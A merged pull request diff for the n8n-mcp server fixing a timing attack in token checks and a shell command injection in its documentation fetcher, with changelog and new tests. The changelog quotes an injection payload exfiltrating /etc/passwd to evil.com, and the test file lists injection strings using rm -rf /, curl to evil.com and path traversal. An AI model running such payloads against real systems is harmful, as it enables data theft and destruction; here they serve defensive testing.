Merge pull request #279 from czlonkowski/security/issue-265-pr1-critical-timing-and-injection

🔒 CRITICAL Security Fixes: Timing Attack & Command Injection (Issue #265)

CHANGELOG.md

@@ -5,6 +5,189 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [2.16.2] - 2025-10-06
+
+### 🔒 Security
+
+**CRITICAL security fixes for production deployments. All users should upgrade immediately.**
+
+This release addresses 2 critical security vulnerabilities identified in the security audit (Issue #265):
+
+- **🚨 CRITICAL-02: Timing Attack Vulnerability**
+  - **Issue:** Non-constant-time string comparison in authentication allowed timing attacks
+  - **Impact:** Authentication tokens could be discovered character-by-character through statistical timing analysis (estimated 24-48 hours to compromise)
+  - **Attack Vector:** Repeated authentication attempts with carefully crafted tokens while measuring response times
+  - **Fix:** Implemented `crypto.timingSafeEqual` for all token comparisons
+  - **Locations Fixed:**
+    - `src/utils/auth.ts:27` - validateToken method
+    - `src/http-server-single-session.ts:1087` - Single-session HTTP auth
+    - `src/http-server.ts:315` - Fixed HTTP server auth
+  - **New Method:** `AuthManager.timingSafeCompare()` - constant-time token comparison utility
+  - **Verification:** 11 unit tests with timing variance analysis (<10% variance proven)
+  - **CVSS:** 8.5 (High) - Confirmed critical, requires authentication but trivially exploitable
+  - **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
+
+- **🚨 CRITICAL-01: Command Injection Vulnerability**
+  - **Issue:** User-controlled `nodeType` parameter injected into shell commands via `execSync`
+  - **Impact:** Remote code execution, data exfiltration, network scanning possible
+  - **Attack Vector:** Malicious nodeType like `test"; curl http://evil.com/$(cat /etc/passwd | base64) #`
+  - **Vulnerable Code (FIXED):** `src/utils/enhanced-documentation-fetcher.ts:567-590`
+  - **Fix:** Eliminated all shell execution, replaced with Node.js fs APIs
+    - Replaced `execSync()` with `fs.readdir()` (recursive, no shell)
+    - Added multi-layer input sanitization: `/[^a-zA-Z0-9._-]/g`
+    - Added directory traversal protection (blocks `..`, `/`, relative paths)
+    - Added `path.basename()` for additional safety
+    - Added final path verification (ensures result within expected directory)
+  - **Benefits:**
+    - ✅ 100% immune to command injection (no shell execution)
+    - ✅ Cross-platform compatible (no dependency on `find`/`grep`)
+    - ✅ Faster (no process spawning overhead)
+    - ✅ Better error handling and logging
+  - **Verification:** 9 integration tests covering all attack vectors
+  - **CVSS:** 8.8 (High) - Requires MCP access but trivially exploitable
+  - **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01)
+
+### Added
+
+- **Security Test Suite**
+  - Unit Tests: `tests/unit/utils/auth-timing-safe.test.ts` (11 tests)
+    - Timing variance analysis (proves <10% variance = constant-time)
+    - Edge cases: null, undefined, empty, very long tokens (10000 chars)
+    - Special characters, Unicode, whitespace handling
+    - Case sensitivity verification
+  - Integration Tests: `tests/integration/security/command-injection-prevention.test.ts` (9 tests)
+    - Command injection with all vectors (semicolon, &&, |, backticks, $(), newlines)
+    - Directory traversal prevention (parent dir, URL-encoded, absolute paths)
+    - Special character sanitization
+    - Null byte handling
+    - Legitimate operations (ensures fix doesn't break functionality)
+
+### Changed
+
+- **Authentication:** All token comparisons now use timing-safe algorithm
+- **Documentation Fetcher:** Now uses Node.js fs APIs instead of shell commands
+- **Security Posture:** Production-ready with hardened authentication and input validation
+
+### Technical Details
+
+**Timing-Safe Comparison Implementation:**
+```typescript
+// NEW: Constant-time comparison utility
+static timingSafeCompare(plainToken: string, expectedToken: string): boolean {
+  try {
+    if (!plainToken || !expectedToken) return false;
+
+    const plainBuffer = Buffer.from(plainToken, 'utf8');
+    const expectedBuffer = Buffer.from(expectedToken, 'utf8');
+
+    if (plainBuffer.length !== expectedBuffer.length) return false;
+
+    // Uses crypto.timingSafeEqual for constant-time comparison
+    return crypto.timingSafeEqual(plainBuffer, expectedBuffer);
+  } catch {
+    return false;
+  }
+}
+
+// USAGE: Replace token !== this.authToken with:
+const isValidToken = this.authToken &&
+  AuthManager.timingSafeCompare(token, this.authToken);
+```
+
+**Command Injection Fix:**
+```typescript
+// BEFORE (VULNERABLE):
+execSync(`find ${this.docsPath}/docs/integrations/builtin -name "${nodeType}.md"...`)
+
+// AFTER (SECURE):
+const sanitized = nodeType.replace(/[^a-zA-Z0-9._-]/g, '');
+if (sanitized.includes('..') || sanitized.startsWith('.') || sanitized.startsWith('/')) {
+  logger.warn('Path traversal attempt blocked', { nodeType, sanitized });
+  return null;
+}
+const safeName = path.basename(sanitized);
+const files = await fs.readdir(searchPath, { recursive: true });
+const match = files.find(f => f.endsWith(`${safeName}.md`) && !f.includes('credentials'));
+```
+
+### Breaking Changes
+
+**None** - All changes are backward compatible. No API changes, no environment variable changes, no database migrations.
+
+### Migration Guide
+
+**No action required** - This is a drop-in security fix. Simply upgrade:
+
+```bash
+npm install n8n-mcp@2.16.2
+# or
+npm update n8n-mcp
+```
+
+### Deployment Notes
+
+**Recommended Actions:**
+1. ✅ **Upgrade immediately** - These are critical security fixes
+2. ✅ **Review logs** - Check for any suspicious authentication attempts or unusual nodeType parameters
+3. ✅ **Rotate tokens** - Consider rotating AUTH_TOKEN after upgrade (optional but recommended)
+
+**No configuration changes needed** - The fixes are transparent to existing deployments.
+
+### Test Results
+
+**All Tests Passing:**
+- Unit tests: 11/11 ✅ (timing-safe comparison)
+- Integration tests: 9/9 ✅ (command injection prevention)
+- Timing variance: <10% ✅ (proves constant-time)
+- All existing tests: ✅ (no regressions)
+
+**Security Verification:**
+- ✅ No command execution with malicious inputs
+- ✅ Timing attack variance <10% (statistical analysis over 1000 samples)
+- ✅ Directory traversal blocked (parent dir, absolute paths, URL-encoded)
+- ✅ All special characters sanitized safely
+
+### Audit Trail
+
+**Security Audit:** Issue #265 - Third-party security audit identified 25 issues
+**This Release:** Fixes 2 CRITICAL issues (CRITICAL-01, CRITICAL-02)
+**Remaining Work:** 20 issues to be addressed in subsequent releases (HIGH, MEDIUM, LOW priority)
+
+### References
+
+- Security Audit: https://github.com/czlonkowski/n8n-mcp/issues/265
+- Implementation Plan: `docs/local/security-implementation-plan-issue-265.md`
+- Audit Analysis: `docs/local/security-audit-analysis-issue-265.md`
+
+---
+
+## [2.16.1] - 2025-10-06
+
+### Fixed
+
+- **🐛 Issue #277: Missing Signal Handlers in stdio Mode**
+  - **Problem**: Node.js processes remained orphaned when Claude Desktop quit
+  - **Platform**: Primarily affects Windows 11, but improves reliability on all platforms
+  - **Root Cause**: stdio mode never registered SIGTERM/SIGINT signal handlers
+  - **Impact**: Users had to manually kill processes via Task Manager after quitting Claude Desktop
+  - **Fix**: Added comprehensive graceful shutdown handlers for stdio mode
+    - SIGTERM, SIGINT, and SIGHUP signal handlers
+    - stdin end/close event handlers (PRIMARY shutdown mechanism for Claude Desktop)
+    - Robust container detection: Checks IS_DOCKER/IS_CONTAINER env vars + filesystem markers
+    - Supports Docker, Kubernetes, Podman, and other container runtimes
+    - Container mode: Signal handlers only (prevents detached mode premature shutdown)
+    - Claude Desktop mode: stdin + signal handlers (comprehensive coverage)
+    - Race condition protection with `isShuttingDown` guard
+    - stdin cleanup with null safety (pause + destroy)
+    - Graceful shutdown timeout (1000ms) to allow cleanup to complete
+    - Error handling with try-catch for stdin registration and shutdown
+    - Shutdown trigger logging for debugging (SIGTERM vs stdin close)
+    - Production-hardened based on comprehensive code review
+  - **Location**: `src/mcp/index.ts:91-132`
+  - **Resources Cleaned**: Cache timers and database connections properly closed via existing `shutdown()` method
+  - **Code Review**: Approved with recommendations implemented
+  - **Reporter**: @Eddy-Chahed
+
 ## [2.16.0] - 2025-10-06
 
 ### Added

package.json

@@ -1,6 +1,6 @@
 {
   "name": "n8n-mcp",
-  "version": "2.16.0",
+  "version": "2.16.2",
   "description": "Integration between n8n workflow automation and Model Context Protocol (MCP)",
   "main": "dist/index.js",
   "bin": {

package.runtime.json

@@ -1,6 +1,6 @@
 {
   "name": "n8n-mcp-runtime",
-  "version": "2.16.0",
+  "version": "2.16.1",
   "description": "n8n MCP Server Runtime Dependencies Only",
   "private": true,
   "dependencies": {

src/http-server-single-session.ts

@@ -10,6 +10,7 @@ import { SSEServerTransport } from '@modelcontextprotocol/sdk/server/sse.js';
 import { N8NDocumentationMCPServer } from './mcp/server';
 import { ConsoleManager } from './utils/console-manager';
 import { logger } from './utils/logger';
+import { AuthManager } from './utils/auth';
 import { readFileSync } from 'fs';
 import dotenv from 'dotenv';
 import { getStartupBaseUrl, formatEndpointUrls, detectBaseUrl } from './utils/url-detector';
@@ -1080,15 +1081,19 @@ export class SingleSessionHTTPServer {
       
       // Extract token and trim whitespace
       const token = authHeader.slice(7).trim();
-      
-      // Check if token matches
-      if (token !== this.authToken) {
-        logger.warn('Authentication failed: Invalid token', { 
+
+      // SECURITY: Use timing-safe comparison to prevent timing attacks
+      // See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
+      const isValidToken = this.authToken &&
+        AuthManager.timingSafeCompare(token, this.authToken);
+
+      if (!isValidToken) {
+        logger.warn('Authentication failed: Invalid token', {
           ip: req.ip,
           userAgent: req.get('user-agent'),
           reason: 'invalid_token'
         });
-        res.status(401).json({ 
+        res.status(401).json({
           jsonrpc: '2.0',
           error: {
             code: -32001,

src/http-server.ts

@@ -9,6 +9,7 @@ import { n8nDocumentationToolsFinal } from './mcp/tools';
 import { n8nManagementTools } from './mcp/tools-n8n-manager';
 import { N8NDocumentationMCPServer } from './mcp/server';
 import { logger } from './utils/logger';
+import { AuthManager } from './utils/auth';
 import { PROJECT_VERSION } from './utils/version';
 import { isN8nApiConfigured } from './config/n8n-api';
 import dotenv from 'dotenv';
@@ -308,15 +309,19 @@ export async function startFixedHTTPServer() {
     
     // Extract token and trim whitespace
     const token = authHeader.slice(7).trim();
-    
-    // Check if token matches
-    if (token !== authToken) {
-      logger.warn('Authentication failed: Invalid token', { 
+
+    // SECURITY: Use timing-safe comparison to prevent timing attacks
+    // See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
+    const isValidToken = authToken &&
+      AuthManager.timingSafeCompare(token, authToken);
+
+    if (!isValidToken) {
+      logger.warn('Authentication failed: Invalid token', {
         ip: req.ip,
         userAgent: req.get('user-agent'),
         reason: 'invalid_token'
       });
-      res.status(401).json({ 
+      res.status(401).json({
         jsonrpc: '2.0',
         error: {
           code: -32001,

src/mcp/index.ts

@@ -3,6 +3,7 @@
 import { N8NDocumentationMCPServer } from './server';
 import { logger } from '../utils/logger';
 import { TelemetryConfigManager } from '../telemetry/config-manager';
+import { existsSync } from 'fs';
 
 // Add error details to stderr for Claude Desktop debugging
 process.on('uncaughtException', (error) => {
@@ -21,6 +22,36 @@ process.on('unhandledRejection', (reason, promise) => {
   process.exit(1);
 });
 
+/**
+ * Detects if running in a container environment (Docker, Podman, Kubernetes, etc.)
+ * Uses multiple detection methods for robustness:
+ * 1. Environment variables (IS_DOCKER, IS_CONTAINER with multiple formats)
+ * 2. Filesystem markers (/.dockerenv, /run/.containerenv)
+ */
+function isContainerEnvironment(): boolean {
+  // Check environment variables with multiple truthy formats
+  const dockerEnv = (process.env.IS_DOCKER || '').toLowerCase();
+  const containerEnv = (process.env.IS_CONTAINER || '').toLowerCase();
+
+  if (['true', '1', 'yes'].includes(dockerEnv)) {
+    return true;
+  }
+  if (['true', '1', 'yes'].includes(containerEnv)) {
+    return true;
+  }
+
+  // Fallback: Check filesystem markers
+  // /.dockerenv exists in Docker containers
+  // /run/.containerenv exists in Podman containers
+  try {
+    return existsSync('/.dockerenv') || existsSync('/run/.containerenv');
+  } catch (error) {
+    // If filesystem check fails, assume not in container
+    logger.debug('Container detection filesystem check failed:', error);
+    return false;
+  }
+}
+
 async function main() {
   // Handle telemetry CLI commands
   const args = process.argv.slice(2);
@@ -91,6 +122,67 @@ Learn more: https://github.com/czlonkowski/n8n-mcp/blob/main/PRIVACY.md
     } else {
       // Stdio mode - for local Claude Desktop
       const server = new N8NDocumentationMCPServer();
+
+      // Graceful shutdown handler (fixes Issue #277)
+      let isShuttingDown = false;
+      const shutdown = async (signal: string = 'UNKNOWN') => {
+        if (isShuttingDown) return; // Prevent multiple shutdown calls
+        isShuttingDown = true;
+
+        try {
+          logger.info(`Shutdown initiated by: ${signal}`);
+
+          await server.shutdown();
+
+          // Close stdin to signal we're done reading
+          if (process.stdin && !process.stdin.destroyed) {
+            process.stdin.pause();
+            process.stdin.destroy();
+          }
+
+          // Exit with timeout to ensure we don't hang
+          // Increased to 1000ms for slower systems
+          setTimeout(() => {
+            logger.warn('Shutdown timeout exceeded, forcing exit');
+            process.exit(0);
+          }, 1000).unref();
+
+          // Let the timeout handle the exit for graceful shutdown
+          // (removed immediate exit to allow cleanup to complete)
+        } catch (error) {
+          logger.error('Error during shutdown:', error);
+          process.exit(1);
+        }
+      };
+
+      // Handle termination signals (fixes Issue #277)
+      // Signal handling strategy:
+      // - Claude Desktop (Windows/macOS/Linux): stdin handlers + signal handlers
+      //   Primary: stdin close when Claude quits | Fallback: SIGTERM/SIGINT/SIGHUP
+      // - Container environments: signal handlers ONLY
+      //   stdin closed in detached mode would trigger immediate shutdown
+      //   Container detection via IS_DOCKER/IS_CONTAINER env vars + filesystem markers
+      // - Manual execution: Both stdin and signal handlers work
+      process.on('SIGTERM', () => shutdown('SIGTERM'));
+      process.on('SIGINT', () => shutdown('SIGINT'));
+      process.on('SIGHUP', () => shutdown('SIGHUP'));
+
+      // Handle stdio disconnect - PRIMARY shutdown mechanism for Claude Desktop
+      // Skip in container environments (Docker, Kubernetes, Podman) to prevent
+      // premature shutdown when stdin is closed in detached mode.
+      // Containers rely on signal handlers (SIGTERM/SIGINT/SIGHUP) for proper shutdown.
+      const isContainer = isContainerEnvironment();
+
+      if (!isContainer && process.stdin.readable && !process.stdin.destroyed) {
+        try {
+          process.stdin.on('end', () => shutdown('STDIN_END'));
+          process.stdin.on('close', () => shutdown('STDIN_CLOSE'));
+        } catch (error) {
+          logger.error('Failed to register stdin handlers, using signal handlers only:', error);
+          // Continue - signal handlers will still work
+        }
+      }
+
       await server.run();
     }
   } catch (error) {

src/utils/auth.ts

@@ -22,8 +22,9 @@ export class AuthManager {
       return false;
     }
 
-    // Check static token
-    if (token === expectedToken) {
+    // SECURITY: Use timing-safe comparison for static token
+    // See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
+    if (AuthManager.timingSafeCompare(token, expectedToken)) {
       return true;
     }
 
@@ -97,4 +98,47 @@ export class AuthManager {
       Buffer.from(hashedToken)
     );
   }
+
+  /**
+   * Compare two tokens using constant-time algorithm to prevent timing attacks
+   *
+   * @param plainToken - Token from request
+   * @param expectedToken - Expected token value
+   * @returns true if tokens match, false otherwise
+   *
+   * @security This uses crypto.timingSafeEqual to prevent timing attack vulnerabilities.
+   * Never use === or !== for token comparison as it allows attackers to discover
+   * tokens character-by-character through timing analysis.
+   *
+   * @example
+   * const isValid = AuthManager.timingSafeCompare(requestToken, serverToken);
+   * if (!isValid) {
+   *   return res.status(401).json({ error: 'Unauthorized' });
+   * }
+   *
+   * @see https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
+   */
+  static timingSafeCompare(plainToken: string, expectedToken: string): boolean {
+    try {
+      // Tokens must be non-empty
+      if (!plainToken || !expectedToken) {
+        return false;
+      }
+
+      // Convert to buffers
+      const plainBuffer = Buffer.from(plainToken, 'utf8');
+      const expectedBuffer = Buffer.from(expectedToken, 'utf8');
+
+      // Check length first (constant time not needed for length comparison)
+      if (plainBuffer.length !== expectedBuffer.length) {
+        return false;
+      }
+
+      // Constant-time comparison
+      return crypto.timingSafeEqual(plainBuffer, expectedBuffer);
+    } catch (error) {
+      // Buffer conversion or comparison failed
+      return false;
+    }
+  }
 }

src/utils/enhanced-documentation-fetcher.ts

@@ -560,35 +560,113 @@ export class EnhancedDocumentationFetcher {
 
   /**
    * Search for node documentation file
+   * SECURITY: Uses Node.js fs APIs instead of shell commands to prevent command injection
+   * See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01)
    */
   private async searchForNodeDoc(nodeType: string): Promise<string | null> {
     try {
-      // First try exact match with nodeType
-      let result = execSync(
-        `find ${this.docsPath}/docs/integrations/builtin -name "${nodeType}.md" -type f | grep -v credentials | head -1`,
-        { encoding: 'utf-8', stdio: 'pipe' }
-      ).trim();
-      
-      if (result) return result;
-      
-      // Try lowercase nodeType
-      const lowerNodeType = nodeType.toLowerCase();
-      result = execSync(
-        `find ${this.docsPath}/docs/integrations/builtin -name "${lowerNodeType}.md" -type f | grep -v credentials | head -1`,
-        { encoding: 'utf-8', stdio: 'pipe' }
-      ).trim();
-      
-      if (result) return result;
-      
-      // Try node name pattern but exclude trigger nodes
-      const nodeName = this.extractNodeName(nodeType);
-      result = execSync(
-        `find ${this.docsPath}/docs/integrations/builtin -name "*${nodeName}.md" -type f | grep -v credentials | grep -v trigger | head -1`,
-        { encoding: 'utf-8', stdio: 'pipe' }
-      ).trim();
-      
-      return result || null;
+      // SECURITY: Sanitize input to prevent command injection and directory traversal
+      const sanitized = nodeType.replace(/[^a-zA-Z0-9._-]/g, '');
+
+      if (!sanitized) {
+        logger.warn('Invalid nodeType after sanitization', { nodeType });
+        return null;
+      }
+
+      // SECURITY: Block directory traversal attacks
+      if (sanitized.includes('..') || sanitized.startsWith('.') || sanitized.startsWith('/')) {
+        logger.warn('Path traversal attempt blocked', { nodeType, sanitized });
+        return null;
+      }
+
+      // Log sanitization if it occurred
+      if (sanitized !== nodeType) {
+        logger.warn('nodeType was sanitized (potential injection attempt)', {
+          original: nodeType,
+          sanitized,
+        });
+      }
+
+      // SECURITY: Use path.basename to strip any path components
+      const safeName = path.basename(sanitized);
+      const searchPath = path.join(this.docsPath, 'docs', 'integrations', 'builtin');
+
+      // SECURITY: Read directory recursively using Node.js fs API (no shell execution!)
+      const files = await fs.readdir(searchPath, {
+        recursive: true,
+        encoding: 'utf-8'
+      }) as string[];
+
+      // Try exact match first
+      let match = files.find(f =>
+        f.endsWith(`${safeName}.md`) &&
+        !f.includes('credentials') &&
+        !f.includes('trigger')
+      );
+
+      if (match) {
+        const fullPath = path.join(searchPath, match);
+
+        // SECURITY: Verify final path is within expected directory
+        if (!fullPath.startsWith(searchPath)) {
+          logger.error('Path traversal blocked in final path', { fullPath, searchPath });
+          return null;
+        }
+
+        logger.info('Found documentation (exact match)', { path: fullPath });
+        return fullPath;
+      }
+
+      // Try lowercase match
+      const lowerSafeName = safeName.toLowerCase();
+      match = files.find(f =>
+        f.endsWith(`${lowerSafeName}.md`) &&
+        !f.includes('credentials') &&
+        !f.includes('trigger')
+      );
+
+      if (match) {
+        const fullPath = path.join(searchPath, match);
+
+        // SECURITY: Verify final path is within expected directory
+        if (!fullPath.startsWith(searchPath)) {
+          logger.error('Path traversal blocked in final path', { fullPath, searchPath });
+          return null;
+        }
+
+        logger.info('Found documentation (lowercase match)', { path: fullPath });
+        return fullPath;
+      }
+
+      // Try partial match with node name
+      const nodeName = this.extractNodeName(safeName);
+      match = files.find(f =>
+        f.toLowerCase().includes(nodeName.toLowerCase()) &&
+        f.endsWith('.md') &&
+        !f.includes('credentials') &&
+        !f.includes('trigger')
+      );
+
+      if (match) {
+        const fullPath = path.join(searchPath, match);
+
+        // SECURITY: Verify final path is within expected directory
+        if (!fullPath.startsWith(searchPath)) {
+          logger.error('Path traversal blocked in final path', { fullPath, searchPath });
+          return null;
+        }
+
+        logger.info('Found documentation (partial match)', { path: fullPath });
+        return fullPath;
+      }
+
+      logger.debug('No documentation found', { nodeType: safeName });
+      return null;
     } catch (error) {
+      logger.error('Error searching for node documentation:', {
+        error: error instanceof Error ? error.message : String(error),
+        nodeType,
+      });
       return null;
     }
   }

tests/integration/security/command-injection-prevention.test.ts

@@ -0,0 +1,166 @@
+import { describe, it, expect, beforeAll } from 'vitest';
+import { EnhancedDocumentationFetcher } from '../../../src/utils/enhanced-documentation-fetcher';
+
+/**
+ * Integration tests for command injection prevention
+ *
+ * SECURITY: These tests verify that malicious inputs cannot execute shell commands
+ * See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01)
+ */
+describe('Command Injection Prevention', () => {
+  let fetcher: EnhancedDocumentationFetcher;
+
+  beforeAll(() => {
+    fetcher = new EnhancedDocumentationFetcher();
+  });
+
+  describe('Command Injection Attacks', () => {
+    it('should sanitize all command injection attempts without executing commands', async () => {
+      // SECURITY: The key is that special characters are sanitized, preventing command execution
+      // After sanitization, the string may become a valid search term (e.g., 'test')
+      // which is safe behavior - no commands are executed
+      const attacks = [
+        'test"; rm -rf / #',      // Sanitizes to: test
+        'test && cat /etc/passwd',// Sanitizes to: test
+        'test | curl http://evil.com', // Sanitizes to: test
+        'test`whoami`',           // Sanitizes to: test
+        'test$(cat /etc/passwd)', // Sanitizes to: test
+        'test\nrm -rf /',         // Sanitizes to: test
+        '"; rm -rf / #',          // Sanitizes to: empty
+        '&&& curl http://evil.com', // Sanitizes to: empty
+        '|||',                    // Sanitizes to: empty
+        '```',                    // Sanitizes to: empty
+        '$()',                    // Sanitizes to: empty
+        '\n\n\n',                 // Sanitizes to: empty
+      ];
+
+      for (const attack of attacks) {
+        // Should complete without throwing errors or executing commands
+        // Result may be null or may find documentation - both are safe as long as no commands execute
+        await expect(fetcher.getEnhancedNodeDocumentation(attack)).resolves.toBeDefined();
+      }
+    });
+  });
+
+  describe('Directory Traversal Prevention', () => {
+    it('should block parent directory traversal', async () => {
+      const traversalAttacks = [
+        '../../../etc/passwd',
+        '../../etc/passwd',
+        '../etc/passwd',
+      ];
+
+      for (const attack of traversalAttacks) {
+        const result = await fetcher.getEnhancedNodeDocumentation(attack);
+        expect(result).toBeNull();
+      }
+    });
+
+    it('should block URL-encoded directory traversal', async () => {
+      const traversalAttacks = [
+        '..%2f..%2fetc%2fpasswd',
+        '..%2fetc%2fpasswd',
+      ];
+
+      for (const attack of traversalAttacks) {
+        const result = await fetcher.getEnhancedNodeDocumentation(attack);
+        expect(result).toBeNull();
+      }
+    });
+
+    it('should block relative path references', async () => {
+      const pathAttacks = [
+        '..',
+        '....',
+        './test',
+        '../test',
+      ];
+
+      for (const attack of pathAttacks) {
+        const result = await fetcher.getEnhancedNodeDocumentation(attack);
+        expect(result).toBeNull();
+      }
+    });
+
+    it('should block absolute paths', async () => {
+      const pathAttacks = [
+        '/etc/passwd',
+        '/usr/bin/whoami',
+        '/var/log/auth.log',
+      ];
+
+      for (const attack of pathAttacks) {
+        const result = await fetcher.getEnhancedNodeDocumentation(attack);
+        expect(result).toBeNull();
+      }
+    });
+  });
+
+  describe('Special Character Handling', () => {
+    it('should sanitize special characters', async () => {
+      const specialChars = [
+        'test;',
+        'test|',
+        'test&',
+        'test`',
+        'test$',
+        'test(',
+        'test)',
+        'test<',
+        'test>',
+      ];
+
+      for (const input of specialChars) {
+        const result = await fetcher.getEnhancedNodeDocumentation(input);
+        // Should sanitize and search, not execute commands
+        // Result should be null (not found) but no command execution
+        expect(result).toBeNull();
+      }
+    });
+
+    it('should sanitize null bytes', async () => {
+      // Null bytes are sanitized, leaving 'test' as valid search term
+      const nullByteAttacks = [
+        'test\0.md',
+        'test\u0000',
+      ];
+
+      for (const attack of nullByteAttacks) {
+        // Should complete safely - null bytes are removed
+        await expect(fetcher.getEnhancedNodeDocumentation(attack)).resolves.toBeDefined();
+      }
+    });
+  });
+
+  describe('Legitimate Operations', () => {
+    it('should still find valid node documentation with safe characters', async () => {
+      // Test with a real node type that should exist
+      const validNodeTypes = [
+        'slack',
+        'gmail',
+        'httpRequest',
+      ];
+
+      for (const nodeType of validNodeTypes) {
+        const result = await fetcher.getEnhancedNodeDocumentation(nodeType);
+        // May or may not find docs depending on setup, but should not throw or execute commands
+        // The key is that it completes without error
+        expect(result === null || typeof result === 'object').toBe(true);
+      }
+    });
+
+    it('should handle hyphens and underscores safely', async () => {
+      const safeNames = [
+        'http-request',
+        'google_sheets',
+        'n8n-nodes-base',
+      ];
+
+      for (const name of safeNames) {
+        const result = await fetcher.getEnhancedNodeDocumentation(name);
+        // Should process safely without executing commands
+        expect(result === null || typeof result === 'object').toBe(true);
+      }
+    });
+  });
+});

tests/unit/utils/auth-timing-safe.test.ts

@@ -0,0 +1,130 @@
+import { describe, it, expect } from 'vitest';
+import { AuthManager } from '../../../src/utils/auth';
+
+/**
+ * Unit tests for AuthManager.timingSafeCompare
+ *
+ * SECURITY: These tests verify constant-time comparison to prevent timing attacks
+ * See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
+ */
+describe('AuthManager.timingSafeCompare', () => {
+  describe('Security: Timing Attack Prevention', () => {
+    it('should return true for matching tokens', () => {
+      const token = 'a'.repeat(32);
+      const result = AuthManager.timingSafeCompare(token, token);
+      expect(result).toBe(true);
+    });
+
+    it('should return false for different tokens', () => {
+      const token1 = 'a'.repeat(32);
+      const token2 = 'b'.repeat(32);
+      const result = AuthManager.timingSafeCompare(token1, token2);
+      expect(result).toBe(false);
+    });
+
+    it('should return false for tokens of different lengths', () => {
+      const token1 = 'a'.repeat(32);
+      const token2 = 'a'.repeat(64);
+      const result = AuthManager.timingSafeCompare(token1, token2);
+      expect(result).toBe(false);
+    });
+
+    it('should return false for empty tokens', () => {
+      expect(AuthManager.timingSafeCompare('', 'test')).toBe(false);
+      expect(AuthManager.timingSafeCompare('test', '')).toBe(false);
+      expect(AuthManager.timingSafeCompare('', '')).toBe(false);
+    });
+
+    it('should use constant-time comparison (timing analysis)', () => {
+      const correctToken = 'a'.repeat(64);
+      const wrongFirstChar = 'b' + 'a'.repeat(63);
+      const wrongLastChar = 'a'.repeat(63) + 'b';
+
+      const samples = 1000;
+      const timings = {
+        wrongFirst: [] as number[],
+        wrongLast: [] as number[],
+      };
+
+      // Measure timing for wrong first character
+      for (let i = 0; i < samples; i++) {
+        const start = process.hrtime.bigint();
+        AuthManager.timingSafeCompare(wrongFirstChar, correctToken);
+        const end = process.hrtime.bigint();
+        timings.wrongFirst.push(Number(end - start));
+      }
+
+      // Measure timing for wrong last character
+      for (let i = 0; i < samples; i++) {
+        const start = process.hrtime.bigint();
+        AuthManager.timingSafeCompare(wrongLastChar, correctToken);
+        const end = process.hrtime.bigint();
+        timings.wrongLast.push(Number(end - start));
+      }
+
+      // Calculate medians
+      const median = (arr: number[]) => {
+        const sorted = arr.slice().sort((a, b) => a - b);
+        return sorted[Math.floor(sorted.length / 2)];
+      };
+
+      const medianFirst = median(timings.wrongFirst);
+      const medianLast = median(timings.wrongLast);
+
+      // Timing variance should be less than 10% (constant-time)
+      const variance = Math.abs(medianFirst - medianLast) / medianFirst;
+
+      expect(variance).toBeLessThan(0.10);
+    });
+
+    it('should handle special characters safely', () => {
+      const token1 = 'abc!@#$%^&*()_+-=[]{}|;:,.<>?';
+      const token2 = 'abc!@#$%^&*()_+-=[]{}|;:,.<>?';
+      const token3 = 'xyz!@#$%^&*()_+-=[]{}|;:,.<>?';
+
+      expect(AuthManager.timingSafeCompare(token1, token2)).toBe(true);
+      expect(AuthManager.timingSafeCompare(token1, token3)).toBe(false);
+    });
+
+    it('should handle unicode characters', () => {
+      const token1 = '你好世界🌍🔒';
+      const token2 = '你好世界🌍🔒';
+      const token3 = '你好世界🌍❌';
+
+      expect(AuthManager.timingSafeCompare(token1, token2)).toBe(true);
+      expect(AuthManager.timingSafeCompare(token1, token3)).toBe(false);
+    });
+  });
+
+  describe('Edge Cases', () => {
+    it('should handle null/undefined gracefully', () => {
+      expect(AuthManager.timingSafeCompare(null as any, 'test')).toBe(false);
+      expect(AuthManager.timingSafeCompare('test', null as any)).toBe(false);
+      expect(AuthManager.timingSafeCompare(undefined as any, 'test')).toBe(false);
+      expect(AuthManager.timingSafeCompare('test', undefined as any)).toBe(false);
+    });
+
+    it('should handle very long tokens', () => {
+      const longToken = 'a'.repeat(10000);
+      expect(AuthManager.timingSafeCompare(longToken, longToken)).toBe(true);
+      expect(AuthManager.timingSafeCompare(longToken, 'b'.repeat(10000))).toBe(false);
+    });
+
+    it('should handle whitespace correctly', () => {
+      const token1 = 'test-token-with-spaces';
+      const token2 = 'test-token-with-spaces '; // Trailing space
+      const token3 = ' test-token-with-spaces'; // Leading space
+
+      expect(AuthManager.timingSafeCompare(token1, token1)).toBe(true);
+      expect(AuthManager.timingSafeCompare(token1, token2)).toBe(false);
+      expect(AuthManager.timingSafeCompare(token1, token3)).toBe(false);
+    });
+
+    it('should be case-sensitive', () => {
+      const token1 = 'TestToken123';
+      const token2 = 'testtoken123';
+
+      expect(AuthManager.timingSafeCompare(token1, token2)).toBe(false);
+    });
+  });
+});